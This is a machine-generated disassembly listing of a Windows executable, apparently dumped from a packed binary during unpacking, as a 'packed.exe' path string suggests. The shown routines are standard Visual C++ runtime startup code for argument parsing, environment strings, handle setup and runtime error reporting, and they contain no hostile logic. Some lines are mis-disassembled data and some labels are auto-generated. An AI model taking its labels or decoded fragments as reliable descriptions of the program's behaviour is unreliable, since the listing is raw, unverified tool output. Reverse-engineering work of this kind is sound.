; ---------------------------------------------------------------------------


loc_41E832:				; CODE XREF: sub_41E800+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4D86F8, esi
		jnz	short loc_41E854
		push	9
		call	sub_419D79
		pop	ecx


loc_41E854:				; CODE XREF: sub_41E800+4Aj
		mov	edi, dword_4D8740
		cmp	[edi], bl
		jz	short loc_41E897
		push	ebp


loc_41E85F:				; CODE XREF: sub_41E800+94j
		push	edi
		call	sub_4176F0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41E890
		push	ebp
		call	sub_417A2B
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41E883
		push	9
		call	sub_419D79
		pop	ecx


loc_41E883:				; CODE XREF: sub_41E800+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4183B0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41E890:				; CODE XREF: sub_41E800+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41E85F
		pop	ebp


loc_41E897:				; CODE XREF: sub_41E800+5Cj
		push	dword_4D8740
		call	sub_4177C1
		pop	ecx
		mov	dword_4D8740, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4D9D68, 1
		pop	ebx
		retn
sub_41E800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8B9	proc near		; CODE XREF: sub_419C83+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D9D6C, ebx
		push	esi
		push	edi
		jnz	short loc_41E8D0
		call	sub_41BD52


loc_41E8D0:				; CODE XREF: sub_41E8B9+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_423070	; GetModuleFileNameA
		mov	eax, dword_4D9D64
		mov	off_4D8708, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41E8F5
		mov	edi, eax


loc_41E8F5:				; CODE XREF: sub_41E8B9+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41E952
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417A2B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41E925
		push	8
		call	sub_419D79
		pop	ecx


loc_41E925:				; CODE XREF: sub_41E8B9+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41E952
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4D86F0, esi
		pop	edi
		pop	esi
		mov	dword_4D86EC, eax
		pop	ebx
		leave
		retn
sub_41E8B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E952	proc near		; CODE XREF: sub_41E8B9+47p
					; sub_41E8B9+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41E97C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41E97C:				; CODE XREF: sub_41E952+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41E9C5


loc_41E981:				; CODE XREF: sub_41E952+58j
					; sub_41E952+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41E9B3
		test	dl, dl
		jz	short loc_41E9B3
		movzx	edx, dl
		test	byte_4D9C41[edx], 4
		jz	short loc_41E9A6
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9A6
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41E9A6:				; CODE XREF: sub_41E952+46j
					; sub_41E952+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E981
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41E981
; ---------------------------------------------------------------------------


loc_41E9B3:				; CODE XREF: sub_41E952+36j
					; sub_41E952+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9BD
		and	byte ptr [esi],	0
		inc	esi


loc_41E9BD:				; CODE XREF: sub_41E952+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41EA08
		inc	eax
		jmp	short loc_41EA08
; ---------------------------------------------------------------------------


loc_41E9C5:				; CODE XREF: sub_41E952+2Dj
					; sub_41E952+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9D0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41E9D0:				; CODE XREF: sub_41E952+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4D9C41[ebx], 4
		jz	short loc_41E9EB
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9EA
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41E9EA:				; CODE XREF: sub_41E952+91j
		inc	eax


loc_41E9EB:				; CODE XREF: sub_41E952+8Bj
		cmp	dl, 20h
		jz	short loc_41E9F9
		test	dl, dl
		jz	short loc_41E9FD
		cmp	dl, 9
		jnz	short loc_41E9C5


loc_41E9F9:				; CODE XREF: sub_41E952+9Cj
		test	dl, dl
		jnz	short loc_41EA00


loc_41E9FD:				; CODE XREF: sub_41E952+A0j
		dec	eax
		jmp	short loc_41EA08
; ---------------------------------------------------------------------------


loc_41EA00:				; CODE XREF: sub_41E952+A9j
		test	esi, esi
		jz	short loc_41EA08
		and	byte ptr [esi-1], 0


loc_41EA08:				; CODE XREF: sub_41E952+6Ej
					; sub_41E952+71j ...
		and	[ebp+arg_10], 0


loc_41EA0C:				; CODE XREF: sub_41E952+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41EAF5


loc_41EA15:				; CODE XREF: sub_41E952+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41EA21
		cmp	dl, 9
		jnz	short loc_41EA24


loc_41EA21:				; CODE XREF: sub_41E952+C8j
		inc	eax
		jmp	short loc_41EA15
; ---------------------------------------------------------------------------


loc_41EA24:				; CODE XREF: sub_41E952+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41EAF5
		test	edi, edi
		jz	short loc_41EA39
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41EA39:				; CODE XREF: sub_41E952+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41EA3E:				; CODE XREF: sub_41E952+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41EA47:				; CODE XREF: sub_41E952+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41EA50
		inc	eax
		inc	ebx
		jmp	short loc_41EA47
; ---------------------------------------------------------------------------


loc_41EA50:				; CODE XREF: sub_41E952+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41EA81
		test	bl, 1
		jnz	short loc_41EA7F
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41EA6E
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41EA6E
		mov	eax, edx
		jmp	short loc_41EA71
; ---------------------------------------------------------------------------


loc_41EA6E:				; CODE XREF: sub_41E952+10Dj
					; sub_41E952+116j
		mov	[ebp+arg_0], edi


loc_41EA71:				; CODE XREF: sub_41E952+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41EA7F:				; CODE XREF: sub_41E952+106j
		shr	ebx, 1


loc_41EA81:				; CODE XREF: sub_41E952+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41EA96
		inc	ebx


loc_41EA89:				; CODE XREF: sub_41E952+142j
		test	esi, esi
		jz	short loc_41EA91
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41EA91:				; CODE XREF: sub_41E952+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41EA89


loc_41EA96:				; CODE XREF: sub_41E952+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41EAE6
		cmp	[ebp+arg_10], 0
		jnz	short loc_41EAAC
		cmp	dl, 20h
		jz	short loc_41EAE6
		cmp	dl, 9
		jz	short loc_41EAE6


loc_41EAAC:				; CODE XREF: sub_41E952+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41EAE0
		test	esi, esi
		jz	short loc_41EACF
		movzx	ebx, dl
		test	byte_4D9C41[ebx], 4
		jz	short loc_41EAC8
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41EAC8:				; CODE XREF: sub_41E952+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41EADE
; ---------------------------------------------------------------------------


loc_41EACF:				; CODE XREF: sub_41E952+162j
		movzx	edx, dl
		test	byte_4D9C41[edx], 4
		jz	short loc_41EADE
		inc	eax
		inc	dword ptr [ecx]


loc_41EADE:				; CODE XREF: sub_41E952+17Bj
					; sub_41E952+187j
		inc	dword ptr [ecx]


loc_41EAE0:				; CODE XREF: sub_41E952+15Ej
		inc	eax
		jmp	loc_41EA3E
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41E952+148j
					; sub_41E952+153j ...
		test	esi, esi
		jz	short loc_41EAEE
		and	byte ptr [esi],	0
		inc	esi


loc_41EAEE:				; CODE XREF: sub_41E952+196j
		inc	dword ptr [ecx]
		jmp	loc_41EA0C
; ---------------------------------------------------------------------------


loc_41EAF5:				; CODE XREF: sub_41E952+BDj
					; sub_41E952+D5j
		test	edi, edi
		jz	short loc_41EAFC
		and	dword ptr [edi], 0


loc_41EAFC:				; CODE XREF: sub_41E952+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41E952	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB06	proc near		; CODE XREF: sub_419C83+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4D88AC
		push	ebx
		push	ebp
		mov	ebp, dword_42303C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41EB54
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41EB35
		mov	dword_4D88AC, 1
		jmp	short loc_41EB5D
; ---------------------------------------------------------------------------


loc_41EB35:				; CODE XREF: sub_41EB06+21j
		call	dword_423040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41EC2F
		mov	dword_4D88AC, 2
		jmp	loc_41EBE3
; ---------------------------------------------------------------------------


loc_41EB54:				; CODE XREF: sub_41EB06+19j
		cmp	eax, 1
		jnz	loc_41EBDE


loc_41EB5D:				; CODE XREF: sub_41EB06+2Dj
		cmp	esi, ebx
		jnz	short loc_41EB6D
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41EC2F


loc_41EB6D:				; CODE XREF: sub_41EB06+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41EB82


loc_41EB74:				; CODE XREF: sub_41EB06+73j
					; sub_41EB06+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41EB74
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41EB74


loc_41EB82:				; CODE XREF: sub_41EB06+6Cj
		sub	eax, esi
		mov	edi, dword_423160
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41EBD3
		push	ebp
		call	sub_417A2B
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41EBD3
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41EBCF
		push	[esp+18h+var_8]
		call	sub_4177C1
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41EBCF:				; CODE XREF: sub_41EB06+B9j
		mov	ebx, [esp+18h+var_8]


loc_41EBD3:				; CODE XREF: sub_41EB06+99j
					; sub_41EB06+A8j
		push	esi
		call	dword_423044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41EC31
; ---------------------------------------------------------------------------


loc_41EBDE:				; CODE XREF: sub_41EB06+51j
		cmp	eax, 2
		jnz	short loc_41EC2F


loc_41EBE3:				; CODE XREF: sub_41EB06+49j
		cmp	edi, ebx
		jnz	short loc_41EBF3
		call	dword_423040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41EC2F


loc_41EBF3:				; CODE XREF: sub_41EB06+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41EC03


loc_41EBF9:				; CODE XREF: sub_41EB06+F6j
					; sub_41EB06+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41EBF9
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41EBF9


loc_41EC03:				; CODE XREF: sub_41EB06+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41EC19
		xor	esi, esi
		jmp	short loc_41EC24
; ---------------------------------------------------------------------------


loc_41EC19:				; CODE XREF: sub_41EB06+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_418810
		add	esp, 0Ch


loc_41EC24:				; CODE XREF: sub_41EB06+111j
		push	edi
		call	dword_423048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41EC31
; ---------------------------------------------------------------------------


loc_41EC2F:				; CODE XREF: sub_41EB06+39j
					; sub_41EB06+61j ...
		xor	eax, eax


loc_41EC31:				; CODE XREF: sub_41EB06+D6j
					; sub_41EB06+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41EB06	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC38	proc near		; CODE XREF: sub_419C83+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41EC58
		push	1Bh
		call	sub_419D79
		pop	ecx


loc_41EC58:				; CODE XREF: sub_41EC38+16j
		mov	dword_4D9A20, esi
		mov	dword_4D9B20, 20h
		lea	eax, [esi+100h]


loc_41EC6E:				; CODE XREF: sub_41EC38+52j
		cmp	esi, eax
		jnb	short loc_41EC8C
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4D9A20
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41EC6E
; ---------------------------------------------------------------------------


loc_41EC8C:				; CODE XREF: sub_41EC38+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_423190	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41ED68
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41ED68
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41ECC2
		mov	esi, eax


loc_41ECC2:				; CODE XREF: sub_41EC38+86j
		cmp	dword_4D9B20, esi
		jge	short loc_41ED1C
		mov	edi, offset dword_4D9A24


loc_41ECCF:				; CODE XREF: sub_41EC38+DAj
		push	100h
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		jz	short loc_41ED16
		add	dword_4D9B20, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41ECED:				; CODE XREF: sub_41EC38+CFj
		cmp	eax, ecx
		jnb	short loc_41ED09
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41ECED
; ---------------------------------------------------------------------------


loc_41ED09:				; CODE XREF: sub_41EC38+B7j
		add	edi, 4
		cmp	dword_4D9B20, esi
		jl	short loc_41ECCF
		jmp	short loc_41ED1C
; ---------------------------------------------------------------------------


loc_41ED16:				; CODE XREF: sub_41EC38+A4j
		mov	esi, dword_4D9B20


loc_41ED1C:				; CODE XREF: sub_41EC38+90j
					; sub_41EC38+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41ED68


loc_41ED22:				; CODE XREF: sub_41EC38+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ED5F
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41ED5F
		test	cl, 8
		jnz	short loc_41ED41
		push	eax
		call	dword_423030	; GetFileType
		test	eax, eax
		jz	short loc_41ED5F


loc_41ED41:				; CODE XREF: sub_41EC38+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41ED5F:				; CODE XREF: sub_41EC38+EFj
					; sub_41EC38+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41ED22


loc_41ED68:				; CODE XREF: sub_41EC38+65j
					; sub_41EC38+71j ...
		xor	ebx, ebx


loc_41ED6A:				; CODE XREF: sub_41EC38+195j
		mov	eax, dword_4D9A20
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41EDC5
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41ED85
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41ED8F
; ---------------------------------------------------------------------------


loc_41ED85:				; CODE XREF: sub_41EC38+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41ED8F:				; CODE XREF: sub_41EC38+14Bj
		push	eax
		call	dword_423034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41EDB4
		push	edi
		call	dword_423030	; GetFileType
		test	eax, eax
		jz	short loc_41EDB4
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41EDBA


loc_41EDB4:				; CODE XREF: sub_41EC38+163j
					; sub_41EC38+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------


loc_41EDBA:				; CODE XREF: sub_41EC38+17Aj
		cmp	eax, 3
		jnz	short loc_41EDC9
		or	byte ptr [esi+4], 8
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------


loc_41EDC5:				; CODE XREF: sub_41EC38+13Ej
		or	byte ptr [esi+4], 80h


loc_41EDC9:				; CODE XREF: sub_41EC38+180j
					; sub_41EC38+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41ED6A
		push	dword_4D9B20
		call	dword_423038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41EC38	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDEC	proc near		; DATA XREF: sub_419C83+Ao
					; sub_41DB42+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41EE8C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41EE1F:				; CODE XREF: sub_41EDEC+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41EE85
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41EE73
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41EE73
		js	short loc_41EE7E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_419074
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4190B6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41914A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41EE73:				; CODE XREF: sub_41EDEC+40j
					; sub_41EDEC+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41EE1F
; ---------------------------------------------------------------------------


loc_41EE7E:				; CODE XREF: sub_41EDEC+54j
		mov	eax, 0
		jmp	short loc_41EEA1
; ---------------------------------------------------------------------------


loc_41EE85:				; CODE XREF: sub_41EDEC+36j
		mov	eax, 1
		jmp	short loc_41EEA1
; ---------------------------------------------------------------------------


loc_41EE8C:				; CODE XREF: sub_41EDEC+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4190B6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41EEA1:				; CODE XREF: sub_41EDEC+97j
					; sub_41EDEC+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EDEC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4190B6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41EEC4	proc near		; CODE XREF: sub_419D79+9p
					; sub_419D9E+9p
		mov	eax, dword_4D8748
		cmp	eax, 1
		jz	short loc_41EEDB
		test	eax, eax
		jnz	short locret_41EEFC
		cmp	dword_43AB74, 1
		jnz	short locret_41EEFC


loc_41EEDB:				; CODE XREF: sub_41EEC4+8j
		push	0FCh
		call	sub_41EEFD
		mov	eax, dword_4D88B0
		pop	ecx
		test	eax, eax
		jz	short loc_41EEF1
		call	eax


loc_41EEF1:				; CODE XREF: sub_41EEC4+29j
		push	0FFh
		call	sub_41EEFD
		pop	ecx

locret_41EEFC:				; CODE XREF: sub_41EEC4+Cj
					; sub_41EEC4+15j
		retn
sub_41EEC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EEFD	proc near		; CODE XREF: sub_419D79+12p
					; sub_419D9E+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43B1E8


loc_41EF10:				; CODE XREF: sub_41EEFD+20j
		cmp	edx, [eax]
		jz	short loc_41EF1F
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43B278
		jl	short loc_41EF10


loc_41EF1F:				; CODE XREF: sub_41EEFD+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43B1E8[esi]
		jnz	loc_41F04D
		mov	eax, dword_4D8748
		cmp	eax, 1
		jz	loc_41F027
		test	eax, eax
		jnz	short loc_41EF50
		cmp	dword_43AB74, 1
		jz	loc_41F027


loc_41EF50:				; CODE XREF: sub_41EEFD+44j
		cmp	edx, 0FCh
		jz	loc_41F04D
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_423070	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41EF87
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_41EF87:				; CODE XREF: sub_41EEFD+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_4176F0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41EFCA
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4176F0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_417B00
		add	esp, 10h


loc_41EFCA:				; CODE XREF: sub_41EEFD+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4183C0
		lea	eax, [ebp+var_A0]
		push	offset asc_423BD0 ; "\n\n"
		push	eax
		call	sub_4183C0
		push	off_43B1EC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4183C0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_420858
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F04D
; ---------------------------------------------------------------------------


loc_41F027:				; CODE XREF: sub_41EEFD+3Cj
					; sub_41EEFD+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43B1EC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4176F0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_423034	; GetStdHandle
		push	eax
		call	dword_4230E0	; WriteFile


loc_41F04D:				; CODE XREF: sub_41EEFD+2Ej
					; sub_41EEFD+59j ...
		pop	esi
		leave
		retn
sub_41EEFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F050	proc near		; CODE XREF: sub_41F514:loc_41F68Cp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4D9A20


loc_41F05F:				; CODE XREF: sub_41F050+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41F09C
		lea	edx, [eax+100h]


loc_41F06B:				; CODE XREF: sub_41F050+28j
		cmp	eax, edx
		jnb	short loc_41F08B
		test	byte ptr [eax+4], 1
		jz	short loc_41F07A
		add	eax, 8
		jmp	short loc_41F06B
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41F050+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41F0DF


loc_41F08B:				; CODE XREF: sub_41F050+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4D9B20
		jl	short loc_41F05F
		jmp	short loc_41F0DF
; ---------------------------------------------------------------------------


loc_41F09C:				; CODE XREF: sub_41F050+13j
		mov	esi, 100h
		push	esi
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		jz	short loc_41F0DF
		add	dword_4D9B20, 20h
		lea	ecx, ds:4D9A20h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41F0C2:				; CODE XREF: sub_41F050+88j
		cmp	eax, edx
		jnb	short loc_41F0DA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41F0C2
; ---------------------------------------------------------------------------


loc_41F0DA:				; CODE XREF: sub_41F050+74j
		shl	edi, 5
		mov	ebx, edi


loc_41F0DF:				; CODE XREF: sub_41F050+39j
					; sub_41F050+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41F050	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F0E5	proc near		; CODE XREF: sub_41F514+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

